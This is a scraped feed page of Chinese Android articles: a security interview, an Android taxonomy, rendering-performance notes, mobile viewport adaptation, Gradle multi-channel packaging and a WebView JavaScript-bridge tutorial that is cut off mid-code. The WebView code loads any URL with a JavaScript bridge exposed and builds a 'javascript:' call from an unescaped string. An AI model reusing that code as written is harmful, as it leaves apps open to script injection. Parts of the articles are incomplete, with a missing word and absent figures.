Quantcast
Channel: IT瘾android推荐
Viewing all 101 articles
Browse latest View live

关于 Android 安全的六个问题

$
0
0

Security-breach

由于 Android 的开放性,安全问题一直是人们关注的焦点。每当安全公司爆出手机恶意软件,Android 用户都要提心吊胆一番。为此,你或许已经安装了杀毒软件,安装软件也开始小心谨慎了。不过,Android 安全问题真的非常严重吗?我们不妨看看权威人士的看法。近日, Androidcentral 网站邮件采访了 Android 首席安全工程师 Andrian Ludwig,提到了六个方面的问题。

Google 扮演了什么角色

在设计 Android 的时候,Google 加入了许多层的安全措施。从系统层面上,有应用沙盒、SELinux、ASLR(地址空间配置随机加载);从应用和服务上,有 Google Play、设备管理器、应用验证。同时,Google 也鼓励第三方提供安全方案。当 Google 了解到新型的潜在风险后,也会将其考虑到未来的计划中。Andrian Ludwig 认为,移动设备最紧迫的安全问题包括:设备被盗;网络层面的攻击;恶意的应用程度。在这些方面,Google 都采取了应对措施。

Google 有什么样的支持策略

对于潜在的安全风险,Google 提供了不同类型的支持:

  • 如果安全问题能够通过升级Google 应用( Chrome、Gmail、Google Play 等)解决。那么,所有版本的 Android 都能够得到应用更新。
  • Nexus 和 Google Play Editon 设备能够及时得到安全升级。
  • Google 向 AOSP(Android 开源项目)提供补丁,并且直接向 Android 厂商提供补丁(至少支持最新的两个大版本)。如果厂商要求向老版本提供安全补丁,Google 也会提供帮助。
  • Google 会向所有的 Android 设备提供安全服务 ,即使这些设备已经不被厂商支持。
  • Google 向应用开发者提供必要的信息和工具,帮助他们对抗安全风险。
  • Google 会与厂商分享安全方面的信息。同时在进行系统兼容性测试的时候,也会对潜在的安全问题进行测试。

用户可以使用什么工具

Android 向用户提供了一系列的控制选项,比如,用户可以看到应用权限、限定其行为。当用户不想看到某项通知,可以在通知中心长按,看看通知来自那个应用。然后,用户可以关闭通知或者卸载应用。

如果用户忽视了安全警告呢

在对付恶意应用方面,Google 提供了多层安全措施。首先,Google 应用中集成警告系统,比如,用户使用 Chrome 下载软件之前,就有可能得到警告说,这是一个有恶意软件的网站。然后,如果用户决定下载软件,安装阶段会再次得到警告。再次,即使应用被安装,在运行前也不会做任何事情,用户仍有机会卸载它。最后,应用验证服务会对恶意程序进行标记,并且定期提醒用户卸载它。

第三方安全软件有用吗

Google Play 的安全措施是非常 。如果用户选择 Google Play 以外的软件,最好打开应用验证的功能。2014 年,Google 从应用验证收集的数据中发现,美国地区,在 Android 设备中安装的 Google Play 外应用中,恶意应用不超过 0.15%。因此,用户安装第三方安全软件,并没有太大的意义。

第三方 ROM 是否安全

一般来说,第三方 ROM 都是基于 AOSP 的,因此,Google 的安全措施也适用于这些 ROM。它们都支持应用沙盒,使用 Google 应用,包括 Google 的安全服务。

图片来自 tweaktown

It is well that there are palaces of peace,and discipline and dreaming and desire.

#欢迎关注爱范儿认证微信公众号:AppSolution(微信号:appsolution),发现新酷精华应用。



爱范儿 · Beats of Bits |原文链接· 查看评论· 新浪微博· 微信订阅· 加入爱范社区!



Android 分类法:六个类型,八种用户

$
0
0

c350e-android

Android 是一个如此丰富而且复杂的生态圈,以至于人们谈论它的时候,常常讲述的是不同的东西。在个人博客上,风险投资公司安德森-霍洛维茨基金合伙人、科技博客作者 Benedict Evans分析了不同类型的 Android,并且对 Android 用户进行了归类。

他认为,市场上的 Android 可以分为六类:

1、“原生” Android。只出现在 Google 的 Nexus 设备上,完整的 Google 服务,销量很少。
2、三星、索尼、LG 等厂商的“定制”Android。完整的 Google 服务。改动上没有什么亮点,不过经过 Google 许可。
3、“AOSP” 或者开源的 Android。在中国市场上,可以看到与 2 中提到的手机,但是去除了 Google 服务。
4、小米及其追随者的“定制”Android。这些手机在国外也有用户。在中国,它去掉了 Google 服务,但是在其它地方却是包含 Google 服务的。
5、第三方的 ROM,比如小米的 MIUI 和 CyanogenMod。它们可能包括 Google 服务,也可能没有。由于对系统进行了优化和改进,赢得了一些用户。
6、Android 分支。比如亚马逊的 Fire 手机。这是对 Android 进行了重度修改,做出了完全不同的体验,因此,Google 拒绝其运行 Google 服务。小米和 Cyanogen 都不是分支。

其中,前两类(或许也可以包括第三类)是“封闭的”Android,后三类是“开放的”Android(从厂商的角度来看)。从用户数量来说,前两类 Android 的用户有 10 亿用户,是中国以外的;第三类和第四类有 4 亿到 5 亿用户,几乎都在中国。第五类 Android 的用户大概有 5000 万,中国和中国以外都有,并且,这些用户与其它类型用户存在重合。至于第六类 Android 用户,只有亚马逊才知道吧。

同样,Android 用户也可以分为许多种。

1、使用第三方 ROM 的用户。
2、那些喜欢安装各种应用,以完成 iOS 上不允许之事的人。
3、那些对 Android 有个人喜好的人。他们不会去装第三方 ROM,或者去做些 iOS 上禁止的事情。
4、那些并不关心系统的人。他们选择 Android 的原因,或许是因为硬件设计,或者因为大屏幕。
5、那些买不起 iPhone 或其它高端手机的人。
6、那些并不在意智能手机的人。他们只是想买个便宜的手机,并不会对生态圈投入什么东西。
7、那些只能买得起 50 到 100 美元 Android 手机的人(新兴市场),但是,他们非常热情地探索各种功能。
8、与第 7 类接近,但是,他们有相对昂贵的网络套餐,受限的 3G 覆盖,并且,他们给手机充电都比较受限。这是智能手机接下来要覆盖的下一个 10 亿人。

“旧金山和雅加达的青少年,拥有的必备手机是非常不同的。不过,上述列表的重点在于,科技和移动市场的发展已经远远超过某个点,不会再有满足一切需要的单一市场了。当你把每个人联系起来的时候,你就会得到每一个人,而且他们都与你完全不同。” Benedict Evans 总结说。

It is well that there are palaces of peace,and discipline and dreaming and desire.

#欢迎关注爱范儿认证微信公众号:AppSolution(微信号:appsolution),发现新酷精华应用。



爱范儿 · Beats of Bits |原文链接· 查看评论· 新浪微博· 微信订阅· 加入爱范社区!


Google《Android性能优化》学习笔记

$
0
0

渲染篇

1) Why Rendering Performance Matters

现在有不少App为了达到很华丽的视觉效果,会需要在界面上层叠很多的视图组件,但是这会很容易引起性能问题。如何平衡Design与Performance就很需要智慧了。

2) Defining ‘Jank’

大多数手机的屏幕刷新频率是60hz,如果在1000/60=16.67ms内没有办法把这一帧的任务执行完毕,就会发生丢帧的现象。丢帧越多,用户感受到的卡顿情况就越严重。

552dd22e52006_middle

3) Rendering Pipeline: Common Problems

渲染操作通常依赖于两个核心组件:CPU与GPU。CPU负责包括Measure,Layout,Record,Execute的计算操作,GPU负责Rasterization(栅格化)操作。CPU通常存在的问题的原因是存在非必需的视图组件,它不仅仅会带来重复的计算操作,而且还会占用额外的GPU资源。

4) Android UI and the GPU

了解Android是如何利用GPU进行画面渲染有助于我们更好的理解性能问题。一个很直接的问题是:activity的画面是如何绘制到屏幕上的?那些复杂的XML布局文件又是如何能够被识别并绘制出来的?

Resterization栅格化是绘制那些Button,Shape,Path,String,Bitmap等组件最基础的操作。它把那些组件拆分到不同的像素上进行显示。这是一个很费时的操作,GPU的引入就是为了加快栅格化的操作。

CPU负责把UI组件计算成Polygons,Texture纹理,然后交给GPU进行栅格化渲染。

然而每次从CPU转移到GPU是一件很麻烦的事情,所幸的是OpenGL ES可以把那些需要渲染的纹理Hold在GPU Memory里面,在下次需要渲染的时候直接进行操作。所以如果你更新了GPU所hold住的纹理内容,那么之前保存的状态就丢失了。

在Android里面那些由主题所提供的资源,例如Bitmaps,Drawables都是一起打包到统一的Texture纹理当中,然后再传递到GPU里面,这意味着每次你需要使用这些资源的时候,都是直接从纹理里面进行获取渲染的。当然随着UI组件的越来越丰富,有了更多演变的形态。例如显示图片的时候,需要先经过CPU的计算加载到内存中,然后传递给GPU进行渲染。文字的显示比较复杂,需要先经过CPU换算成纹理,然后交给GPU进行渲染,返回到CPU绘制单个字符的时候,再重新引用经过GPU渲染的内容。动画则存在一个更加复杂的操作流程。

为了能够使得App流畅,我们需要在每帧16ms以内处理完所有的CPU与GPU的计算,绘制,渲染等等操作。

5) GPU Problem: Overdraw

Overdraw(过度绘制)描述的是屏幕上的某个像素在同一帧的时间内被绘制了多次。在多层次重叠的UI结构里面,如果不可见的UI也在做绘制的操作,会导致某些像素区域被绘制了多次。这样就会浪费大量的CPU以及GPU资源。

当设计上追求更华丽的视觉效果的时候,我们就容易陷入采用复杂的多层次重叠视图来实现这种视觉效果的怪圈。这很容易导致大量的性能问题,为了获得最佳的性能,我们必须尽量减少Overdraw的情况发生。

幸运的是,我们可以通过手机设置里面的开发者选项,打开Show GPU Overdraw的选项,观察UI上的Overdraw情况。

蓝色、淡绿、淡红、深红代表了4种不同程度的Overdraw情况,我们的目标就是尽量减少红色Overdraw,看到更多的蓝色区域。

6) Visualize and Fix Overdraw – Quiz & Solution

这里举了一个例子,通过XML文件可以看到有好几处非必需的background。通过把XML中非必需的background移除之后,可以显著减少布局的过度绘制。其中一个比较有意思的地方是:针对ListView中的Avatar ImageView的设置,在getView的代码里面,判断是否获取到对应的Bitmap,在获取到Avatar的图像之后,把ImageView的Background设置为Transparent,只有当图像没有获取到的时候才设置对应的Background占位图片,这样可以避免因为给Avatar设置背景图而导致的过度渲染。

总结一下,优化步骤如下:

  • 移除Window默认的Background
  • 移除XML布局文件中非必需的Background
  • 按需显示占位背景图片

7) ClipRect & QuickReject

前面有提到过,对不可见的UI组件进行绘制更新会导致Overdraw。例如Nav Drawer从前置可见的Activity滑出之后,如果还继续绘制那些在Nav Drawer里面不可见的UI组件,这就导致了Overdraw。为了解决这个问题,Android系统会通过避免绘制那些完全不可见的组件来尽量减少Overdraw。那些Nav Drawer里面不可见的View就不会被执行浪费资源。

但是不幸的是,对于那些过于复杂的自定义的View(通常重写了onDraw方法),Android系统无法检测在onDraw里面具体会执行什么操作,系统无法监控并自动优化,也就无法避免Overdraw了。但是我们可以通过canvas.clipRect()来帮助系统识别那些可见的区域。这个方法可以指定一块矩形区域,只有在这个区域内才会被绘制,其他的区域会被忽视。这个API可以很好的帮助那些有多组重叠组件的自定义View来控制显示的区域。同时clipRect方法还可以帮助节约CPU与GPU资源,在clipRect区域之外的绘制指令都不会被执行,那些部分内容在矩形区域内的组件,仍然会得到绘制。

除了clipRect方法之外,我们还可以使用 canvas.quickreject()来判断是否没和某个矩形相交,从而跳过那些非矩形区域内的绘制操作。

8) Apply clipRect and quickReject – Quiz & Solution

上面的示例图中显示了一个自定义的View,主要效果是呈现多张重叠的卡片。这个View的onDraw方法如下图所示:

打开开发者选项中的显示过度渲染,可以看到我们这个自定义的View部分区域存在着过度绘制。那么是什么原因导致过度绘制的呢?

9) Fixing Overdraw with Canvas API

下面的代码显示了如何通过clipRect来解决自定义View的过度绘制,提高自定义View的绘制性能:

下面是优化过后的效果:

10) Layouts, Invalidations and Perf

Android需要把XML布局文件转换成GPU能够识别并绘制的对象。这个操作是在DisplayList的帮助下完成的。DisplayList持有所有将要交给GPU绘制到屏幕上的数据信息。

在某个View第一次需要被渲染时,Display List会因此被创建,当这个View要显示到屏幕上时,我们会执行GPU的绘制指令来进行渲染。

如果View的Property属性发生了改变(例如移动位置),我们就仅仅需要Execute Display List就够了。

然而如果你修改了View中的某些可见组件的内容,那么之前的DisplayList就无法继续使用了,我们需要重新创建一个DisplayList并重新执行渲染指令更新到屏幕上。

请注意:任何时候View中的绘制内容发生变化时,都会需要重新创建DisplayList,渲染DisplayList,更新到屏幕上等一系列操作。这个流程的表现性能取决于你的View的复杂程度,View的状态变化以及渲染管道的执行性能。举个例子,假设某个Button的大小需要增大到目前的两倍,在增大Button大小之前,需要通过父View重新计算并摆放其他子View的位置。修改View的大小会触发整个HierarcyView的重新计算大小的操作。如果是修改View的位置则会触发HierarchView重新计算其他View的位置。如果布局很复杂,这就会很容易导致严重的性能问题。

11) Hierarchy Viewer: Walkthrough

Hierarchy Viewer可以很直接的呈现布局的层次关系,视图组件的各种属性。 我们可以通过红,黄,绿三种不同的颜色来区分布局的Measure,Layout,Executive的相对性能表现如何。

12) Nested Hierarchies and Performance

提升布局性能的关键点是尽量保持布局层级的扁平化,避免出现重复的嵌套布局。例如下面的例子,有2行显示相同内容的视图,分别用两种不同的写法来实现,他们有着不同的层级。

下图显示了使用2种不同的写法,在Hierarchy Viewer上呈现出来的性能测试差异:

13) Optimizing Your Layout

下图举例演示了如何优化ListItem的布局,通过RelativeLayout替代旧方案中的嵌套LinearLayout来优化布局。

懒人必备的移动端定宽网页适配方案

$
0
0

本文最初发布于我的个人博客: 咀嚼之味

如今移动设备的分辨率纷繁复杂。以前仅仅是安卓机拥有各种各样的适配问题,如今 iPhone 也拥有了三种主流的分辨率,而未来的 iPhone 7 可能又会玩出什么新花样。如何以不变应万变,用简简单单的几行代码就能支持种类繁多的屏幕分辨率呢?今天就给大家介绍一种懒人必备的移动端定宽网页适配方法。

首先看看下面这行代码:

<meta name="viewport" content="width=device-width, user-scalabel=no">

有过移动端开发经验的同学是不是对上面这句代码非常熟悉?它可能最常见的响应式设计的 viewport设置之一,而我今天介绍的这种方法也是利用了 meta 标签设置 viewport来支持大部分的移动端屏幕分辨率。

目标

  • 仅仅通过配置 <meta name="viewport">使得移动端网站只需要按照固定的宽度设计并实现,就能在任何主流的移动设备上都能看到符合设计稿的页面,包括 Android 4+、iPhone 4+。

测试设备

  • 三星 Note II (Android 4.1.2) - 真机

  • 三星 Note III (Android 4.4.4 - API 19) - Genymotion 虚拟机

  • iPhone 6 (iOS 9.1) - 真机

iPhone

iPhone 的适配比较简单,只需要设置 width即可。比如:

<!-- for iPhone --><meta name="viewport" content="width=320, user-scalable=no" />

这样你的页面在所有的 iPhone 上,无论是 宽 375 像素的 iPhone 6 还是宽 414 像素的 iPhone 6 plus,都能显示出定宽 320 像素的页面。

Android

Android 上的适配被戏称为移动端的 IE,确实存在着很多兼容性问题。Android 以 4.4 版本为一个分水岭,首先说一说相对好处理的 Android 4.4+

Android 4.4+

为了兼容性考虑,Android 4.4 以上抛弃了 target-densitydpi属性,它只会在 Android 设备上生效。如果对这个被废弃的属性感兴趣,可以看看下面这两个链接:

我们可以像在 iPhone 上那样设置 width=320以达到我们想要的 320px 定宽的页面设计。

<!-- for Android 4.4+ --><meta name="viewport" content="width=320, user-scalable=no" />

Android 4.0 ~ 4.3

作为 Android 相对较老的版本,它对 meta 中的 width 属性支持得比较糟糕。以三星 Note II 为例,它的 device-width 是 360px。如果设置 viewport 中的 width (以下简称 vWidth ) 为小于等于 360 的值,则不会有任何作用;而设置 vWidth为大于 360 的值,也不会使画面产生缩放,而是出现了横向滚动条。

想要对 Android 4.0 ~ 4.3 进行支持,还是不得不借助于 页面缩放,以及那个被废除的属性: target-densitydpi

target-densitydpi

target-densitydpi 一共有四种取值:low-dpi (0.75), medium-dpi (1.0), high-dpi (1.5), device-dpi。在 Android 4.0+ 的设备中,device-dpi 一般都是 2.0。我使用手头上的三星 Note II 设备 (Android 4.1.2) 进行了一系列实验,得到了下面这张表格:

target-densitydpiviewport: widthbody width屏幕可视范围宽度
low-dpi (0.75)vWidth <= 320270270
vWidth > 320vWidth*270
medium-dpi (1.0)vWidth <= 360360360
vWidth > 360vWidth*360
high-dpi (1.5)vWidth <= 320540540
320 < vWidth <= 540vWidth*vWidth*
vWidth > 540vWidth*540
device-dpi (2.0)**vWidth <= 320720720
320 < vWidth <= 720vWidth*vWidth*
vWidth > 720vWidth*720
  • vWidth*:指的是与 viewport 中设置的 width 的值相同。

  • device-dpi (2.0)**:在 Android 4.0+ 的设备中,device-dpi 一般都是 2.0。

首先可以看到 320px是个特别诡异的临界值,低于这个临界值后就会发生超出我们预期的事情。综合考虑下来,还是采用 target-densitydpi = device-dpi这一取值。如果你想要以 320px 作为页面的宽度的话,我建议你针对安卓 4.4 以下的版本设置 width=321

如果 body 的宽度超过屏幕可视范围的宽度,就会出现水平的滚动条。这并不是我们期望的结果,所以我们还要用到缩放属性 initial-scale。计算公式如下:

Scale = deviceWidth / vWidth

这样的计算式不得不使用 JS 来实现,最终我们就能得到适配 Android 4.0 ~ 4.3定宽的代码:

var match,
    scale,
    TARGET_WIDTH = 320;

if (match = navigator.userAgent.match(/Android (\d+\.\d+)/)) {
    if (parseFloat(match[1]) < 4.4) {
        if (TARGET_WIDTH == 320) TARGET_WIDTH++;
        var scale = window.screen.width / TARGET_WIDTH;
        document.querySelector('meta[name="viewport"]').setAttribute('content', 'width=' + TARGET_WIDTH + ', initial-scale = ' + scale + ', target-densitydpi=device-dpi');
    }
}

其中, TARGET_WIDTH就是你所期望的宽度,注意这段代码仅在 320-720px之间有效哦。

缩放中的坑

如果是 iPhone 或者 Android 4.4+ 的机器,在使用 scale 相关的属性时要非常谨慎,包括 initial-scale, maximum-scaleminimum-scale
要么保证 Scale = deviceWidth / vWidth,要么就尽量不用。来看一个例子:

Android 4.4+ 和 iPhone 在缩放时的行为不一致

在缩放比不能保证的情况下,即时设置同样的 widthinitial-scale后,两者的表现也是不一致。具体两种机型采用的策略如何我还没有探索出来,有兴趣的同学可以研究看看。最省事的办法就是在 iPhone 和 Android 4.4+ 上不设置 scale 相关的属性。

总结

结合上面所有的分析,你可以通过下面这段 JS 代码来对所有 iPhone 和 Android 4+ 的手机屏幕进行适配:

var match,
    scale,
    TARGET_WIDTH = 320;

if (match = navigator.userAgent.match(/Android (\d+\.\d+)/)) {
    if (parseFloat(match[1]) < 4.4) {
        if (TARGET_WIDTH == 320) TARGET_WIDTH++;
        var scale = window.screen.width / TARGET_WIDTH;
        document.querySelector('meta[name="viewport"]').setAttribute('content', 'width=' + TARGET_WIDTH + ', initial-scale = ' + scale + ', target-densitydpi=device-dpi');
    }
} else {
    document.querySelector('meta[name="viewport"]').setAttribute('content', 'width=' + TARGET_WIDTH);
}

如果你不希望你的页面被用户手动缩放,你还可以加上 user-scalable=no。不过需要注意的是,这个属性在部分安卓机型上是无效的哦。

其他参考资料

  1. Supporting Different Screens in Web Apps - Android Developers

  2. Viewport target-densitydpi support is being deprecated

附录 - 测试页面

有兴趣的同学可以拿这个测试页面来测测自己的手机,别忘了改 viewport哦。

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=250, initial-scale=1.5, user-scalable=no"><title>Document</title><style>
        body {
            margin: 0;
        }

        div {
            background: #000;
            color: #fff;
            font-size: 30px;
            text-align: center;
        }

        .block {
            height: 50px;
            border-bottom: 4px solid #ccc;
        }

        #first  { width: 100px; }
        #second { width: 200px; }
        #third  { width: 300px; }
        #fourth { width: 320px; }
        #log { font-size: 16px; }
    </style></head><body><div id="first" class="block">100px</div><div id="second" class="block">200px</div><div id="third" class="block">300px</div><div id="fourth" class="block">320px</div><div id="log"></div><script>
        function log(content) {
            var logContainer = document.getElementById('log');
            var p = document.createElement('p');
            p.textContent = content;
            logContainer.appendChild(p);
        }

        log('body width:' + document.body.clientWidth)
        log(document.querySelector('[name="viewport"]').content)</script></body></html>

Android 多渠道打包原理和使用

$
0
0

每次中午吃饭总会和技术同学聊天。当做 iOS 开发的做安卓开发的人员在一起的时候,他们中间又多了一个话题:iOS 开发难还是安卓开发难。

这个时候做安卓开发的同学最激动说安卓开发要自己画界面、机型复杂、操作系统多 rom 又被各家改的四不像....开发一个安卓 APP 的时间将近是开发 iOS 所需时间的 2 倍。iOS 开发的同学可能就会反驳说 iOS 开发入门难度比安卓高,开发中第三方库不像安卓那么多,开发设备又必须是 MAC,而安卓随便一台 PC 即可...笔者认为,这个问题因人而异,不想再引起一场争论。其实,今天想说的是,安卓开发中还有一件事情比较痛苦那就是打包。

做过 APP 开发的人都知道安卓的渠道林立,笔者记得曾经工作的一家公司每次发包都要运行脚本去打包,每次打几百个 APK,花费几个小时,电脑都累的风扇呼呼叫。而 iOS 由于其封闭性,渠道除了 AppStore 之外几乎很少了。所以,安卓 APP 开发之后要把 APP 分发出去要做的事情要比 iOS 多这个是一定的。这篇文章咱们就和做安卓开发的同学聊一下安卓 APP 多渠道打包的事情。

APP多渠道打包原理讲解

要多渠道打包,我们就来说一下渠道如何标识。一般来说渠道标识有两个地方可以做:
1、在代码中写,例如 TalkingData 就提供了这种方式

//启动代码
init(final Context context, final String appId,  final String partnerId);
//这种方式不需要在 AndroidManifext.xml 里的 meta-data 申明了 TD_APP_ID 和 TD_CHANNEL_ID

2、在 AndroidManifext.xml 中填写,还拿 TalkingData 举例子

//启动代码
init(final Context context);
//这种方式可以使用多渠道打包工具,方便一次打包多个发布渠道

//AndroidManifext.xml中这样写
<meta-data android:name="TD_CHANNEL_ID" android:value="Your_channel_id" />

如果是单独打一个 APP 包加上上面的配置直接 IDE 中导出 APK 就行了,如果打很多个 APK 用 IDE 就很费力。 要想多渠道打包,就需要对 Android 的整体的打包编译过程有所了解。下面认识下 Android 的 java 代码、XML 格式的资源文件、图片文件等资源是如何转换成为一个 APK 的。
Android多渠道打包原理和使用


大家从图中可以看出,大体分为以下 7 个大步:
1、打包资源文件,生成 R.java 文件
2、处理 aidl 文件,生成相应 java 文件
3、编译工程源代码,生成相应 class 文件
4、转换所有 class 文件,生成 classes.dex 文件
5、打包生成 apk
6、对 apk 文件进行签名
7、对签名的 apk 进行 zipalign 对其操作

说明:这里只是大致表明大致的打包编译过程,其实如果细分每一部分还有很多细节。

结合原理和渠道的 1、2 两种设置方法我们分别来说.

1、如果渠道信息是通过 Java 的硬编码方式来做的,我们可以在打包之前预处理 Java 源文件,找到渠道设置关键字,从渠道列表中找到一个渠道设置进去即可。由于脚本这块儿,不同的语言的实现方式不同,这里不做过多的说明。如果有需要的我可以把自己之前 shell 写的一段代码分享了。


2、如果使用写在 AndroidManifext.xml 中,这个就可以通过读取 XML 文件的方式定位到 meta-data 并且 android:name 的值为 TD_CHANNEL_ID 的元节点。把这个元节点的值设置成某一个渠道即可。这里推荐大家看一下友盟开源的一个多渠道打包工具中有相关的实现细 [1]。这个过程发生在上图中的 aapt 阶段,这个阶段做的事情还比较多没有分来来说。


大致原理就是这样,其实也很简单~,就是在正常的 Android 打包编译过程中进行干涉,加入一些逻辑来替换相关的渠道信息,保证打包之后的 APK 中的渠道信息各不相同。
其实这个过程是这样的:
Android多渠道打包原理和使用
说明:图片来源网络

然后编写脚本或者工具来循环的这个过程....

Android Studio多渠道打包

Android Studio 发布已经好长时间了,Google 也一直在维护在更新,Android 开发的小伙伴你们用起来了吗?听说身边做开发的很多都转向了这个神器。这里,我们就重点说一下如何在 Android Studio 中实现多渠道打包,后续给出一个 Demo来做演示,笔者觉得这样更实用。
第一步在 AndroidManifext.xml 中配置渠道


<meta-data android:name="TD_CHANNEL_ID" android:value="${ONEAPM_TEST_CHANNEL}" />

第二步,在 APP 下的 build.gradle 中添加


   productFlavors {
        wandoujia{}"1234Test"{}"1test111"{}
    }
    productFlavors.all {
        flavor -> flavor.manifestPlaceholders = [ONEAPM_TEST_CHANNEL: name]
    }

解释:productFlavors 类似于一个产品的不同特性的配置[2]. productFlavors.all 是一个遍历,每一个 productFlavors 中的值,其中productFlavors 的每一个值都有一个 name ,就是类似 wandoujia 这样的字符,每次循环的时候会替换掉 AndroidManifext.xml 中的${ONEAPM_TEST_CHANNEL}。
第三步,执行打包命令
打开命令行定位到 project 目录,执行

  gradlew assembleRelease

不出意外的话 bulid->outputs->apk 下面会有各个渠道的包,如下图
打包结果


注意事项:
1、productFlavors 定义的时候里面的类似 wandoujia,不能是数字开头,不能是关键字 test 等,因为你要意识到你在写 gradle 脚本,要符合 groovy 语法。如下面的就不合法
Android多渠道打包原理和使用
2、flavor.manifestPlaceholders = [ONEAPM_TEST_CHANNEL: name]中的ONEAPM_TEST_CHANNEL 一定要和 AndroidManifext.xml 定义的一致。


打包发布之后还要做什么

开发者花费了很大的心血做出一款 APP 为的就是希望这款 APP 产生它应有的价值。所以我们会集成一些统计例如友盟、talking data,有了它每日活跃、新增、留存就有地方看了,这个估计每个开发者都会做。单更重要的是,我们做出的 APP 要保证在每台手机都能正常的打开和使用,特别是在 APP 同质化越来越严重的今天,你要保证 APP 能够脱颖而出就要保证 APP 稳定,所以我们可以顺手添加以下 OneAPM[3] 就能监控到应用程序运行缓慢、ANR、Crash、WebView、Activity、网络请求等方面的性能,能让开发者第一时间掌握 APP 监控状况。更让人喜欢的是,这款产品只需开发者填入一行代码即可,真可谓是「神器」。


OneAPM Mobile Insight 以真实用户体验为度量标准进行 Crash 分析,监控网络请求及网络错误,提升用户留存。访问 OneAPM 官方网站感受更多应用性能优化体验,想阅读更多技术文章,请访问 OneAPM 官方技术博客

本文转自 OneAPM官方技术博客

Android中WebView页面交互

$
0
0

代码

在android内打开一个网页的时候,有时我们会要求与网页有一些交互。而这些交互是在基于javaScript的基础上。那么我们来学习一下android如何与网页进行JS交互。完整代码如下:

import android.annotation.SuppressLint;
import android.os.Bundle;
import android.text.TextUtils;
import android.view.KeyEvent;
import android.view.View;
import android.view.View.OnClickListener;
import android.webkit.CookieManager;
import android.webkit.CookieSyncManager;
import android.webkit.JavascriptInterface;
import android.webkit.URLUtil;
import android.webkit.WebChromeClient;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.TextView;
import org.json.JSONObject;

/**
 * 软件内通用打开网页的容器页面
 *
 * @author ZRP
 */
public class CommonWebActivity extends BaseActivity {

    protected CustomFrameLayout customFrameLayout;
    protected TextView errorTxt;
    protected View refresh;// 刷新按钮
    protected WebView webView;

    protected String url = "";// 网址url
    protected String param = "";// 交互参数,如json字符串

    protected WebChromeClient chromeClient = new WebChromeClient() {
        public void onProgressChanged(WebView view, int newProgress) {
            if (newProgress == 100) {
                // 判断有无网络
                if (!NetUtil.isAvaliable()) {
                    customFrameLayout.show(R.id.common_net_error);
                    refresh.setVisibility(View.VISIBLE);
                    refresh.setOnClickListener(new OnClickListener() {
                        @Override
                        public void onClick(View v) {
                            webView.loadUrl(url);
                        }
                    });
                } else {
                    // 判断网络请求网址是否有效
                    if (!URLUtil.isValidUrl(url)) {
                        customFrameLayout.show(R.id.common_net_error);
                        errorTxt.setText("无效网址");
                    } else {
                        customFrameLayout.show(R.id.common_web);
                    }
                }
            }
        }

        // 获取到url打开页面的标题
        public void onReceivedTitle(WebView view, String title) {
            setBackView(R.id.back_view, title);
        }

        // js交互提示
        public boolean onJsAlert(WebView view, String url, String message, android.webkit.JsResult result){
            return super.onJsAlert(view, url, message, result);
        }
    };

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        url = getIntent().getStringExtra("url");
        param = getIntent().getStringExtra("param");

        setContentView(R.layout.common_web_activity);
        initView();
    }

    @SuppressLint("SetJavaScriptEnabled")
    private void initView() {
        setBackView(R.id.back);

        customFrameLayout = (CustomFrameLayout) findViewById(R.id.web_fram);
        customFrameLayout.setList(new int[]{R.id.common_web, R.id.common_net_error, R.id.common_loading});
        customFrameLayout.show(R.id.common_loading);
        refresh = findViewById(R.id.error_btn);
        errorTxt = (TextView) findViewById(R.id.error_txt);
        webView = (WebView) findViewById(R.id.common_web);

        webView.getSettings().setDefaultTextEncodingName("utf-8");
        webView.getSettings().setJavaScriptEnabled(true);
        synCookies();//格式化写入cookie,需写在setJavaScriptEnabled之后
        webView.setWebChromeClient(chromeClient);
        webView.setWebViewClient(new WebViewClient() {// 让webView内的链接在当前页打开,不调用系统浏览器
            @Override
            public boolean shouldOverrideUrlLoading(WebView view, String url) {
                view.loadUrl(url);
                return true;
            }
        });
        webView.addJavascriptInterface(new JavaScriptInterface(), "zrp");
        webView.loadUrl(url);
    }

    /**
     * CookieManager会将这个Cookie存入该应用程序/data/data/databases/目录下的webviewCookiesChromium.db数据库的cookies表中
     * 需要在当前用户退出登录的时候进行清除
     */
    private void synCookies() {
    String[] split = App.cookie.split(";");
    for (int i = 0; i < split.length; i++) {
        CookieManager.getInstance().setCookie(url, split[i]);
    }
   }

    /**
     * 回调网页中的脚本接口。
     *
     * @param notify 传给网页的通知内容。
     */
    public void onNotifyListener(String notify) {
        if (webView != null) {
            webView.loadUrl("javascript:onCommandListener('" + notify + "')");
        }
    }

    /**
     * android js交互实现
     * String ret = zrp.command("");
     * <p/>
     * webView.loadUrl("javascript:onCommandListener('param')");
     */
    public class JavaScriptInterface {

        @JavascriptInterface
        public void command(String jsonString) {
            if (TextUtils.isEmpty(jsonString)) {
                return ;
            }

            //根据网页交互回传的json串进行操作

        }
    }
}

其中CustomFrameLayout为界面切换控件,分别在无网络,网址错误等情况下进行提示:

import android.content.Context;
import android.util.AttributeSet;
import android.view.View;
import android.widget.FrameLayout;

/**
 * 用于状态切换的布局,只显示1个状态
 */
public class CustomFrameLayout extends FrameLayout {
    private int[] list;

    public CustomFrameLayout(Context context) {
        super(context);
        initView();
    }

    public CustomFrameLayout(Context context, AttributeSet attrs) {
        super(context, attrs);
        initView();
    }

    public CustomFrameLayout(Context context, AttributeSet attrs, int defStyle) {
        super(context, attrs, defStyle);
        initView();
    }

    /**
     * 设置子面板id数组
     *
     * @param list
     */
    public void setList(int[] list) {
        this.list = list;
        show(0);
    }

    /**
     * 显示某个面板
     *
     * @param id
     */
    public void show(int id) {
        if (list == null) {
            for (int i = 0; i < getChildCount(); ++i) {
                View view = getChildAt(i);

                if (id == view.getId()) {
                    view.setVisibility(View.VISIBLE);
                } else {
                    view.setVisibility(View.GONE);
                }
            }

            return;
        }

        for (int aList : list) {
            View item = findViewById(aList);
            if (item == null) {
                continue;
            }
            if (aList == id) {
                item.setVisibility(View.VISIBLE);
            } else {
                item.setVisibility(View.GONE);
            }
        }
    }

    /**
     * 隐藏所有面板
     */
    public void GoneAll() {
        if (list == null) {
            for (int i = 0; i < getChildCount(); ++i) {
                View view = getChildAt(i);

                view.setVisibility(View.GONE);
            }

            return;
        }

        for (int aList : list) {
            View item = findViewById(aList);
            if (item == null) {
                continue;
            }
            item.setVisibility(View.GONE);
        }
    }

    /**
     * 切换。
     * @param index
     */
    public void showOfIndex(int index) {
        for (int i = 0; i < getChildCount(); ++i) {
            View view = getChildAt(i);

            if (index == i) {
                view.setVisibility(View.VISIBLE);
            } else {
